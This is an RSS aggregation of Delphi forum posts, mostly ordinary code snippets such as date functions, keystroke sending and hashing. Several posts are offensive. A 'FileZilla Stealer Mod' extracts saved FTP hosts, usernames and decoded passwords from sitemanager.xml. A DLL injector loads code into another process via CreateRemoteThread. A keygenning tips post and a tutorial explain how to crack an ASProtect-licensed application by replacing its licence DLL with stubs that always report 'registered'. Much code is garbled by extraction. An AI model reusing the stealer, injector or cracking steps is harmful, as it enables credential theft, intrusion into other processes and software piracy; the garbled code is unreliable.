Quantcast
Channel: Delphi Forum - Delphi Programming Kings of Code - Delphi Programming
Viewing all 173 articles
Browse latest View live

Send a character or String to your application

$
0
0
This procedure sends charaters to your application as if typed on the keyboard

Uses System.SysUtils;

procedure SendKeyString(Text: string);
var
   i: Integer;
   Shift: Boolean;
   vk, ScanCode: Word;
   ch: Char;
   c, s: Byte;
const
   vk_keys: array[0..10] of Byte = (VK_RETURN, VK_HOME, VK_END, VK_UP, VK_DOWN, VK_LEFT, VK_RIGHT, VK_PRIOR, VK_NEXT, VK_INSERT, VK_DELETE);
   vk_shft: array[0..2] of Byte = (VK_SHIFT, VK_CONTROL, VK_MENU);
   flags: array[False..True] of Integer = (KEYEVENTF_KEYUP, 0);
begin
   Shift := False;
   for i := 1 to Length(Text) do begin
      ch := Text;
      if ch >= #250 then begin
         s := Ord(ch) - 250;
         Shift := not Odd(s);
         c := vk_shft[s shr 1];
         ScanCode := MapVirtualKey(c, 0);
         Keybd_Event(c, Scancode, Flags[shift], 0);
      end else begin
         vk := 0;
         if ch >= #240 then
            c := vk_keys[Ord(ch) - 240]
         else if ch >= #228 then //228 (F1) => $70 (vk_F1)
            c := Ord(ch) - 116
         else if ch < #110 then
            c := Ord(ch)
         else begin
            vk := VkKeyScan(ch);
            c := LoByte(vk);
         end;
         ScanCode := MapVirtualKey(c, 0);
         if not Shift and (Hi(vk) > 0) then // $2A = scancode of VK_SHIFT
            Keybd_Event(VK_SHIFT, $2A, 0, 0);
         Keybd_Event(c, scancode, 0, 0);
         Keybd_Event(c, scancode, KEYEVENTF_KEYUP, 0);
         if not Shift and (Hi(vk) > 0) then
            Keybd_Event(VK_SHIFT, $2A, KEYEVENTF_KEYUP, 0);
      end;
   end;

Usage :
     SendKeyString(Chr(VK_RETURN)) or SendKeyString(Chr(13)); will send an enter to your application 
     SendKeyString(Chr(VK_ESCAPE)) or SendKeyString(Chr(27)); will send an escape to  the application
     SendKeyString('ABCDEFGHIJKLMNO'); will send the sting ABCDEFGHIJKLMNO the your application as if typed on the keyboard.

 

Calculate Julian Date From Date

$
0
0
I have you Julian date since I can remember, I translated this from one of my Clipper functions and use it still today
Julian day is the continuous count of days since the beginning of the Julian Period used primarily by astronomers, based on the start of the gregorian calander 1 January 4713 BC.
This is the safest and most reliable way to compare dates that I have found.

function DateToJulianDay(ADate: TDateTime): Integer;
var
   Tmp1, Tmp2, Tmp3, Tmp4: Integer;
   AYear, AMonth, ADay: Word;
begin
   DecodeDate(ADate, AYear, AMonth, ADay);
   if AMonth > 2 then begin
      Tmp1 := AMonth - 3;
      Tmp2 := AYear;
   end else begin
      Tmp1 := AMonth + 9;
      Tmp2 := AYear - 1;
   end;
   Tmp1 := (Tmp1 * 153) + 2;
   Tmp3 := (Tmp2 div 100) * 146097;
   Tmp4 := (Tmp2 mod 100) * 1461;
   Result := (Tmp1 div 5) + (Tmp3 div 4) + (Tmp4 div 4) + ADay + 1721119;
end;

Usage :
   DateToJulianDay(Date());



 

Delphi Demos repository Download

$
0
0
This is the public repository for the demos for the RAD Studio project. The main trunk will always be demos for the most recently released product. Branches will be made for each release so that there are snapshots for older releases.


 

ROCKEY2 and Delphi

$
0
0
Hello,

There is someone have integrate Rockey2 in Delphi application without using DLL.

I tried to do with .obj but it does not work

Help me please

 

SQL request

$
0
0
Hi,
Someone know a good software who can help me to make a sql request with many tables of a database ?
Thanks
 

Algoritm to Reverse a Cripto at Password Field

$
0
0
Hello Guys!

I want to know if is possible to reverse a cripto field to make external app access same database?

Scenario is an ERP that store user passwors in a char(10) field, but, encripted

I have external apps that complements this ERP, but I need to read User and Password for my apps too.

So I have the encripted values, and these passwords that corresponding.

I would like to know if there a way to do a reverse engineering.

For example:

If userpassword is "test123" correspond to "wBýÛO¶"

Complete date in TEdit

$
0
0
Procedure CompletaDataEdit( Const pData : String ; pEdit : TEdit ; const pErro : boolean = True );
var
  DataStr          : String;
  Year, Month, Day : Word;
  i, TotSepara     : Integer;
begin
  DataStr:= pData;
  if DataStr = '' then
  begin
    pEdit.Text := '';
    Exit;
  end;
  TotSepara := 0;
  //Conta quantos numeros existem na Variaval DataStr( pData )
  for i := 1 to Length(DataStr) do
  begin
    if not (DataStr in ['0'..'9']) then
    begin
      DataStr := FormatSettings.DateSeparator;
      inc(TotSepara);
    end;
  end;
  // Remove os Separadores de Data
  while (DataStr <> '') and ( DataStr[Length(DataStr)] = FormatSettings.DateSeparator) do
  begin
    Delete(DataStr, Length(DataStr), 1);
    Dec(TotSepara);
  end;
  // Pega o Ano mes e Dia
  DecodeDate(Now, Year, Month, Day);
  if TotSepara = 0 then
  begin
    case Length(DataStr) of
         0 : DataStr := DateToStr(date);
      1, 2 : DataStr := DataStr+FormatSettings.DateSeparator+IntToStr(Month);
         4 : Insert(FormatSettings.DateSeparator, DataStr, 3);
      6, 8 : begin
               Insert(FormatSettings.DateSeparator, DataStr, 5);
               Insert(FormatSettings.DateSeparator, DataStr, 3);
             end;
    end;
  end;

  try
    pEdit.Text := DateToStr(StrToDate(DataStr));
  except
    if pErro = true then
      pEdit.Text := DateToStr(Date)
    else
      pEdit.Text := '';
  end;
end;


How to Use
// the OnExit Event de TEdit

procedure TFmBI0016.edt_dataExit(Sender: TObject);
begin
  inherited;
  //Complete a partially typed date
//​The function complements the date with the month and year
  CompletaDataEdit((Sender as TEdit).text,( Sender As TEdit));
end;




 

Printing in Android with bluetooth printer


Windows 8 keyboard template source code

$
0
0
İmage
PHP Code:
unit SensorKeyBoardWindows;
interface

uses
System
.SysUtilsSystem.TypesSystem.UITypesSystem.ClassesSystem.VariantsFMX.FormsFMX.DialogsFMX.Edit,
FMX.StdCtrlsShellApiWinapi.WindowsWinapi.messages;

type

TSensorKeyBoardWindows 
= class
private
class function 
ExpandEnvironmentVar(var Valuestring): Boolean;
protected
public
class 
procedure onEnterEdit(SenderTObject);
class 
procedure onExitEdit(SenderTObject);
end;

procedure KeyBoardInitialization(AFormTObject);

implementation

// Инициализация сенсорной клавиатуры для всех эдитов на форме
procedure KeyBoardInitialization(AFormTObject);
var
kInteger;
begin
if AForm is TForm then
begin
for := 0 to TForm(AForm).ComponentCount do
if 
TForm(AForm).Components[kis TEdit then
begin
TEdit
(TForm(AForm).Components[k]).OnEnter := TSensorKeyBoardWindows.onEnterEdit;
TEdit(TForm(AForm).Components[k]).OnExit := TSensorKeyBoardWindows.onExitEdit;
end;
end
else
raise Exception.Create('Передан не верный параметр: ' AForm.ClassName);
end;

TSensorKeyBoardWindows }

class function 
TSensorKeyBoardWindows.ExpandEnvironmentVar(var Valuestring): Boolean;
var
RInteger;
Expandedstring;
procedure StrResetLength(var Sstring);
var
IInteger;
begin
for := 0 to Length(S) - do
if 
S[1] = #0 then
begin
SetLength
(SI);
Exit;
end;
end;

begin
SetLength
(Expanded1);
:= ExpandEnvironmentStrings(PChar(Value), PChar(Expanded), 0);
SetLength(ExpandedR);
Result := ExpandEnvironmentStrings(PChar(Value), PChar(Expanded), R) <> 0;
if 
Result then
begin
StrResetLength
(Expanded);
Value := Expanded;
end;
end;

class 
procedure TSensorKeyBoardWindows.onEnterEdit(SenderTObject);
var
Sstring;
begin
:= '%CommonProgramW6432%\microsoft shared\ink\tabtip.exe';
ExpandEnvironmentVar(S);
ShellExecute(0PChar('open'), PChar(S), nilnilSW_SHOWNORMAL);
end;

class 
procedure TSensorKeyBoardWindows.onExitEdit(SenderTObject);
var
KeyBoardHandleTHandle;
begin
KeyBoardHandle 
:= FindWindow('IPTip_Main_Window'nil);
if 
KeyBoardHandle <> 0 then
PostMessage
(KeyBoardHandleWM_SYSCOMMANDSC_CLOSE0);
end;

end

 

[Help request] SQL Analysis Server and Delphi

$
0
0
Ahoy there!

i would be very grateful if anyone could help me find the right path so as to connect
a delphi app (vcl is ok) with the ms sql analysis server, execute queries and receive
the results (dmx? mdx? xmla? wtf?).

how about model or structure creation? is that possible using our beloved delphi?

i have been googling my brains out the last days but didnt fing THE path so as to
start this journey but no delphi useful links anywhere.

thank you all !

leoplusma
 

Delphi Inheritance

$
0
0
Hello! I have a form that I use as a basis for all other forms of my application through inheritance. I need to write some instructions on certain events form for developers who are creating new forms. But if I write directly in base form, it will not appear in children, it will be shown only "inherited". Is there any way to show these instructions in all forms child?

Thank you in advance!

FileZilla Stealer Mod

$
0
0
 
PHP Code:
(**************************************
 
Coded by GAKH
 Credits
steve10120
 www
.ic0de.org
 mod by zXuS
/2015
 
**************************************)
// Mod for updated version of filezilla
// it now uses base64 and sitemanager.xml
// search for new string then decode it with EncdDecd
unit zXFileZilla;
 
interface
 
uses
Windows
SysUtilsClassesEncdDecdShlObj;
 
function 
GetFileZilla String;
 
implementation
 
function GetAppDataPath String;
var
  
ppIDPItemIdList;
  
szBuff: array[0..255of Char;
begin
  
if SHGetSpecialFolderLocation(0CSIDL_APPDATAppID) = NOERROR then
  begin
    SHGetPathFromIDList
(ppIDszBuff);
    
Result := szBuff;
  
end;
end;
 
function 
GetFileZilla String;
var
LoadFile TStringList;
DataFile TStringList;
 
Host String;
User String;
Pass String;
Pass2 String;
Port String;
 
begin
LoadFile 
:= TStringList.Create;
DataFile := TStringList.Create;
 
if 
FileExists(GetAppDataPath '\FileZilla\sitemanager.xml'then
begin
LoadFile
.LoadFromFile(GetAppDataPath '\FileZilla\sitemanager.xml');
 
while (
Pos('<Host>'LoadFile.Text) <> 0) do
begin
// Hostname
Host := Copy(LoadFile.TextPos('<Host>'LoadFile.Text)+6Length(LoadFile.Text));
Host := Copy(Host1Pos('</Host>'Host)-1);
LoadFile.Text := StringReplace(LoadFile.Text'<Host>'' ', [rfIgnoreCase]);
 
//Username
User := Copy(LoadFile.TextPos('<User>'LoadFile.Text)+6Length(LoadFile.Text));
User := Copy(User1Pos('</User>'User)-1);
 
// Password
Pass := Copy(LoadFile.TextPos('<Pass encoding="base64">'LoadFile.Text)+24Length(LoadFile.Text));
Pass := Copy(Pass1Pos('</Pass>'Pass)-1);
 
// Port
Port := Copy(LoadFile.TextPos('<Port>'LoadFile.Text)+6Length(LoadFile.Text));
Port := Copy(Port1Pos('</Port>'Port)-1);
Pass2 := decodestring(pass);
 
DataFile.Add('Host: ' Host ' Port: ' Port ' User: ' User ' Pass: ' Pass2);
end;
Result := DataFile.Text;
end else
Result := 'Not found or older version!';
end;
 
end

 

Windows Context Menu (Shell Ace Example?)

$
0
0
I'm trying to update the windows context menu and the small overlay icon associated with files and folders. I've a copy of Shell Ace which generates templates, but there is limited documentation. Does anyone know of a good (simple) component or library/class for doing this, especially one with examples?

Thank you
 

MS Access database

$
0
0
Hi guy,
i need to use an MS Access database from a delphi 10 application.
Can you suggest me any components able to do this ?
Thank you.
 

 

DLL Injector in Delphi XE3 (32bit and 64bit App .)

$
0
0
PHP Code:
(*

  
DLL Injection in delphi :)

  
Tested on 32bit and 64Bit application

*)

function 
InjectDLL(const dwPIDDWORD; {$IFDEF UNICODEDLLPathPWideChar
{$ELSEDLLPathPAnsiChar {$ENDIF} ): Integer;

const
  
Kernel32 'kernel32.dll';
var
  
dwThreadIDCardinal;
  
hProchThreadhKernelTHandle;
  
BytesToWriteBytesWrittenSIZE_T;
  
pRemoteBufferpLoadLibraryPointer;
begin
  hProc 
:= OpenProcess(PROCESS_CREATE_THREAD or PROCESS_QUERY_INFORMATION or
    
PROCESS_VM_OPERATION or PROCESS_VM_WRITE or PROCESS_VM_READFalsedwPID);
  if 
hProc 0 then
    
exit(0);
  try
    
BytesToWrite := SizeOf(WideChar) * (Length(DLLPath) + 1);
    
pRemoteBuffer := VirtualAllocEx(hProcnilBytesToWriteMEM_COMMIT,
      
PAGE_READWRITE);
    if 
pRemoteBuffer nil then
      
exit(0);
    try
      if 
not WriteProcessMemory(hProcpRemoteBufferDLLPathBytesToWrite,
        
BytesWrittenthen
        
exit(0);
{
$REGION 'Check for UNICODE'}
{
$IFDEF UNICODE}
      
hKernel := GetModuleHandleW(Kernel32);
      
pLoadLibrary := GetProcAddress(hKernel'LoadLibraryW');
{
$ELSE}
      
hKernel := GetModuleHandleA(Kernel32);
      
pLoadLibrary := GetProcAddress(hKernel'LoadLibraryA');
{
$ENDIF}
{
$ENDREGION}
      
hThread := CreateRemoteThread(hProcnil0pLoadLibrarypRemoteBuffer,
        
0dwThreadID);
      try
        
WaitForSingleObject(hThreadINFINITE);
      
finally
        CloseHandle
(hThread);
      
end;
    
finally
      VirtualFreeEx
(hProcpRemoteBuffer0MEM_RELEASE);
    
end;
  
finally
    CloseHandle
(hProc);
  
end;
  exit(
1);
end;


// how to use ?
begin
                 
{4864 it this sample}
                {
Target process PID}   {Your dll dile path+name}
  if 
InjectDLL(4864'C:\SampleDLL') <> 0 then
    ShowMessage
('woO!');

end;
/////////////////// My Dll file \\\\\\\\\\\\\\
library SampleDLL;
uses
  System
.SysUtils,
  
System.Classes,

  
Winapi.Windows;
procedure mydllproc(ReasonInteger);
begin
  
case Reason of
    DLL_PROCESS_ATTACH
:
      
begin
        MessageBoxW
(0,'I am in your target : Dll file','woO!',0)
      
end;
  
end;
end;

begin
  DllProc 
:= mydllproc;
  
mydllproc(DLL_PROCESS_ATTACH);

end
 

Keygenning With Delphi: Useful Delphi Functions and Tips

$
0
0
Question 1: How do I get the numerical value of a character and a character value of a number?
A lot of licensing algorithms like to manipulate the numerical value of each character in a name individually in a mathematical operation. In order to do this in delphi, we can use the ord() function. Ord is short for ordinal. When a character is passed to this function, it will return the numerical value of the character. In this case we can implement myByte:=ord('A'); This sets myByte to 65 or $41 in hex. If you want to loop through an entire string and add all of the characters together we can do this:
PHP Code:
var
IByte;
mathinteger;
nameString
Begin
name
:='George';
math:=0;

For 
:= 1 to length(name) do
math:=math+ord(name[I]);

End


In this example, we loop through the entire string and use 'name[I]' to get the character of the name at the current loop value. In Delphi, the first character is always character '1' unlike C++ where the first character is '0';
In order to get a character value of a number, we will use the chr() function. This allows us to pass a byte value to the function and get the character representation of it. If we execute myChar:=chr($41); this will set myChar = 'A'; Here is a code example.
PHP Code:
CONST myVals: Array[0..3of byte=($41,$42,$43,$44);
VAR
myStrString;
I:byte;
Begin
myStr
:=''//Clears the Strings 

for := 0 to 3 do
myStr:=myStr+chr(myVals[I]); //Loops through myVals and converts the bytes to characters.
End//In the end, myStr='ABCD' 


Question 2: How do I work with hexadecimal values? How do I convert HexToInt? How do I convert an integer to a hex string?
Working with hexadecimal values in delphi is quite simple once you know how to do it. You are able to easily embed hexadecimal values in your code by simply adding a '$' sign before the value. With that said I:=$51; would be a simple way to put a hex numerical value in your code without having to convert it to decimal. If you are working with a hex string and you want to convert it to an integer, it is quite simple. The built-in delphi function strToInt can do it if you tell it that the string is a hex value. If you have the hex string value 
of '5A223B4A', to convert it to hex, all you need to do is place a '$' at the beginning and pass it to the strToInt function. The '$' informs the function that this is a hex value. Therefore, the code I:=strToInt('$'+'5A223B4A') will convert the hex string to a numerical/integer value. If you have to do this with multiple values, you can simply create a small function such as this:
PHP Code:
function hexToInt(hexStrstring): Integer;
begin
Result
:=strToInt('$'; + hexStr);
end

To convert an integer to a hex string, we need to use the built in intToHex function. This function takes two parameters. The first value is our numerical value or variable while the second is the length format. The length format tells the function what the minimum length you want the string to return. For example, if you wanted the length of the hex value to always be 8 or the equivalent of a 32 bit hex value, we will add a parameter of 8. This means that if the converted value is less than 8 characters, it will pad the value with zeros to get the desired length. However, if the converted value is greater than the length value, it will still output the correct value. That is because the length parameter only sets the minimum length, not the maximum. Therefore, if your code is intToHex($ffffffff, 4), it will output 'FFFFFFFF' where intToHex($ff, 4) will output '00FF'. Note that this function always returns uppercase hex strings. 
Question 3: How do I generate a random letter/character from A-Z or a random hex value?
To generate a random letter or character between A-Z or a-z, we can do this numerically using the random function without needing to embed all 26 characters as a string. The characters A-Z have the numerical values of $41 to $5A while a-z have the numerical values of $61 to $7A. To generate a random uppercase character, we can do this:
PHP Code:
VAR
myCharmyHexCharChar;

Begin
myChar
:= chr(byte(random(26)+$41)); //This generates a random Uppercase letter.
myChar:= chr(byte(random(26)+$61)); //This generates a random Lowercase letter.


For a random hex characterwe can simply do this:

myHexChar:= intToHex(random($10), 1);//Creates a single hex character from '0-F'.
End


Question 4: How do I work with Unicode String bytes?
Working with each each individual byte of a unicode string can be a little tricky in delphi, but can be accomplished with the use of pointers. In this code, we will create a byte pointer to our unicode string and use that pointer to read each byte individually. Since a unicode string represents each character with 2 bytes, we will need to get the length of our string and multiply it by 2 in order to get the length of the bytes. It this example, we will convert a unicode string to hex, byte by byte.
PHP Code:
var
i,i2:integer;
pntr:pointer;
str2:string;
strU:unicodeString;
begin

str2
:='';
strU:='ABCDEFG';
pntr:=(@strU[1]); //This creates a pointer to our string.
    
I2:=length(strU)*2;//doubles the length to equal the length of its bytes.
for := 1 to I2 do begin
str2
:=str2+inttohex(byte(pntr^),2); //This tells delphi to read the byte at the address of which our pointer points to. In this case, it is the address of our string.

inc(pbyte(pntr),1); // This will increment our pointer address to go to the next value in our string. 
end;//End loop

In the endstr2 will equal '4100420043004400450046004700'



Question 5: How do I manipulate or obtain the individual bytes in an integer or cardinal?
As you may know, an integer value consists of 4 bytes. Some mathematical operations require us to manipulate an individual byte from this or extract it. Here are a few operations you can use to get the data you need.
If you are looking to access an individual byte other than the first, it is easiest to use the SHR function to move the bytes to the one that you need. The SHR function works at a binary level. A byte consists of 8 binary digits. In order to get to the next byte in the value, you would need to SHR by 8. Here are some examples of how to do so. We will use the hex value AABBCCDD to show you how to obtain each portion as a byte.
PHP Code:
VAR
MyHexInteger;
MyByteByte;
Begin
 myHex
:=$AABBCCDD;

//let's get the $CC portion.
MyByte:=Byte(myHex SHR 8);// this moves the integer over by 8 binary digits and discards them from the right.
//In memory $AABBCCDD becomes $00AABBCC after the shift.


//let's get the $BB portion.
MyByte:=Byte(myHex SHR 16);// this moves the integer over by 16 binary digits and discards them.
//In memory $AABBCCDD becomes $0000AABB after the shift.
//let's get the $BB portion.
MyByte:=Byte(myHex SHR 24);// this moves the integer over by 24 binary digits and discards them.
//In memory $AABBCCDD becomes $000000AA after the shift. 



In this next example, lets pretend we need to convert a value such as AABBCCDD to AA000000. While we could accomplish this with 2 shifts, it is easiest to use the and instruction. By doing $AABBCCDD and $FF000000, the result. The location of the F hex values will be the only portions remaining in the integer where the 0 values will be eliminated. Here are a few examples.
PHP Code:
Var
int1,int2:Integer;
Begin
int1
:=$AABBCCDD
Int2:=int1 and $f0f0f0f0//Int2=$A0B0C0D0
Int2:=int1 and $ff00;       //Int2=$0000CC00
End


Question 6: How do I convert a float to hexadecimal?
 A very easy way to get the hexadecimal value of a float is to create a pointer to it and read it as a int64 value and use the format command to convert it to hexadecimal. Here is the approach I use:
PHP Code:
VAR
fltdouble
I64int64;
s:string;
Begin
flt
:=12.45443563350
I64
:=PInt64(@f1)^; //We get the address and read the value it contains as a int64 value.
s:=Format('%X', [I64]);//converts int64 to hex string; 



This concludes this short entry on keygenning with delphi. If you have questions you would like to have answered, post them below and I will try to include them in my next tutorial. Until next time, happy reversing.

Bypassing Protections: Reversing and Recreating a Protected DLL

$
0
0
In this example, we will look at an dll which is protected with asprotect and use a simple method to recreate it. Since this protected dll only performs license check procedures, it is very easy for us to recreate the dll in Delphi, bypassing the protection all together. In some applications, the authors like to place all of the license management code into a single dll which all modules of the application reference to determine if the it is registered. Since this handles all license management, this becomes the Achilles heel in the application. Together, we will reverse engineer this small dll and recreate all of the functions and procedures in delphi so that they always return that correct values. Due to legal purposes, I will not mention the name of this application in the article, but will include pictures that will clearly help you determine which application this tutorial is based upon.

İmage

Let's download the application. When you run it, you are met with this screen. Probing through the directory with protectionID, you will soon discover that the dll named ba8pro is protected with ASProtect. Let's view the export table of ba8pro in PETools and see what functions and procedures it contains.

İmage

As we can see, this only contains 4 procedures. If we check the main executable, we see that there are no import references to this dll and that on startup, this dll is not in memory. That means that it likely loads this dll using the LoadLibrary function and obtains the procedure VA using GetProcAddress. Since this is the case, we can find where these procedures are called by simply searching for string references of the function names. When we load the main executable in ollydbg, we can already see the ba8pro dll referenced in the main procedure. Below that we can see references to CheckVersion and CheckDays.

İmage

After we step to the point which I labeled Call To CheckVersion, we notice nothing is pushed onto the stack before we call this function. Therefore, we can conclude that the CheckVersion function does not take parameters. After this procedure, we return the value of $FFFFFFFF to EAX and store it at 5D9B04. Since we move the full EAX register to this value, we can conclude that CheckVersion Return an Integer. After playing around, I discovered that if we return a 0 from CheckVersion, it will run as registered. Therefore, we can recreate this dll function in Delphi like this:
PHP Code:
Function CheckVersion(): Integerstdcall;
Begin
Result
:=0//pro
End
The next function CheckDays works the same way. It does not take parameters and returns the number of days as an integer. We can declare it like this:
PHP Code:
Function CheckDays():Integer;  stdcall;
Begin
 Result
:=255//Any value greater than 0 and <= $7FFFFFFF will work 
End
Next, we will look at the function GetModeVersion. After a quick string search for GetModeVersion, we should arrive here:

İmage

Let's toggle a breakpoint here, run the application, go to help, and click the about button. This will cause ollydbg to break here. Once we step down to the call, we realize that a value is pushed onto the stack prior to entering this call. Take note of the value. Let's step into this routine to get a better idea of what is going on.

İmage

After stepping to the end of the procedure, we discover that the value pushed onto the stack is a pointer to a Unicode string value which gets populated with the registration information string which will appear on the about form. This routine does not return a value to EAX, so we can conclude that this is a procedure. After playing around with this procedure, I found that it will return the following string if registered: Registered Version /n Single User License /n Lifetime Free Upgrades We can recreate this Procedure to return this string like this:
PHP Code:
Procedure GetModeVersion(s:pWideString); stdcall;
Begin
s
^:='Registered Version'+#13+'Single User License'+#13+'Lifetime Free Upgrades'; //Write to the String.
End
Finally, we will look at the final function RegisterApplication. Since we are making this registered by default, this function we not be used, but we will add this anyway to complete the dll. Let's restart the application. After a quick string search, we can find the call to RegisterApplication.

İmage

Let's run the application and enter some random registration details.

İmage

As we can see, this is passing two strings to the function. When we return from this routine, we see that al is populated with a 0. Since the next function tests whether or not al is equal to 0, we can determine that al is a boolean where 0=false and 1=true. That means that the RegisterApplication function takes two constant(unchanging) strings as parameters and returns a boolean. We can recreate this function like this:
PHP Code:
Function RegisterApplication(CONST s,s2:string):Booleanstdcall;
Begin
Result
:=true;
End
Now that we have recreated these functions, our finished code will look like this:

İmage

The only thing left to do is to replace the dll in the directory with the one that we created, patch the integrity checks in the modules(not shown for legal purposes), and add a fake key in the registry(not shown for legal purposes).

Now that we have done this, we will discuss some ways for the author to improve this protection. Since this dll contains only licensing information, it makes it easy for us to duplicate. However, if the company were to add some core application functions along side of these license check routines, it would make recreating the dll much more difficult. They could also protect each individual module with asprotect to make it necessary for us to unpack each file in order to bypass/patch the integrity checks.

With that said, I hope you enjoyed the tutorial. Feel free to ask any questions you have below. Until next time, happy reversing.
 

Hashing a String With Delphi Encryption Compendium(DEC)

$
0
0
At first, I tried to use the CalcBinary function, which allows you pass a string to it. It worked fine, but it is limited due to the fact that it would cast all input strings as an ansistring type. As a result, I switched to the CalcStream type to overcome this limitation. Here are two functions which you can use to calculate an MD5 hash for either a UnicodeString or AnsiString. These functions can be easily converted to a different hash type simply by changing the declaration and create type. The available hash types are: 
THash_MD2, THash_MD4, THash_MD5, THash_RipeMD128, THash_RipeMD160, THash_RipeMD256, THash_RipeMD320, THash_SHA, THash_SHA1, THash_SHA256, THash_SHA384, THash_SHA512, THash_Haval128, THash_Haval160, THash_Haval192, THash_Haval224, THash_Haval256, Thash_Tiger, THash_Panama, THash_Whirlpool, THash_Whirlpool1, THash_Square, THash_Snefru128, THash_Snefru256, and THash_Sapphire. 
You can specify haval rounds like this: hash.rounds:=3; //(3,4,and 5 are valid round types.)

PHP Code:
Uses DECHashDECFmt

Function 
GetMD5_Unicode(inputUnicodeString):String;
var
valtStringStream;
hashtHash_MD5;
lenint64;
Begin
val
:=tStringStream.Create;
len:=length(input)*2;
val.Write(input[1], len);
val.Seek(0soFromBeginning);
hash:=tHash_MD5.Create();
result:=string(hash.CalcStream(vallenTFormat_HEX)); 
hash.Free;
val.Free;
End;

Function 
GetMD5_Ansi(inputAnsiString):String;
var
valtStringStream;
hashtHash_MD5;
lenint64;
Begin
val
:=tStringStream.Create;
len:=length(input);
val.Write(input[1] ,len);
val.Seek(0soFromBeginning);
hash:=tHash_MD5.Create();
result:=string(hash.CalcStream(vallenTFormat_HEX));
hash.Free
val.Free;
End
The Delphi Encryption Compendium(DEC) can be downloaded here:

 

Delphi implementation of JOSE (JSON Object Signing and Encryption) and JWT

$
0
0
Delphi implementation of JWT (JSON Web Token) and the JOSE (JSON Object Signing and Encryption) specification suite. This library supports the JWS (JWE is support planned) compact serializations with several JOSE algorithms.

 

RAD Studio Demo Code Full with sources

Viewing all 173 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>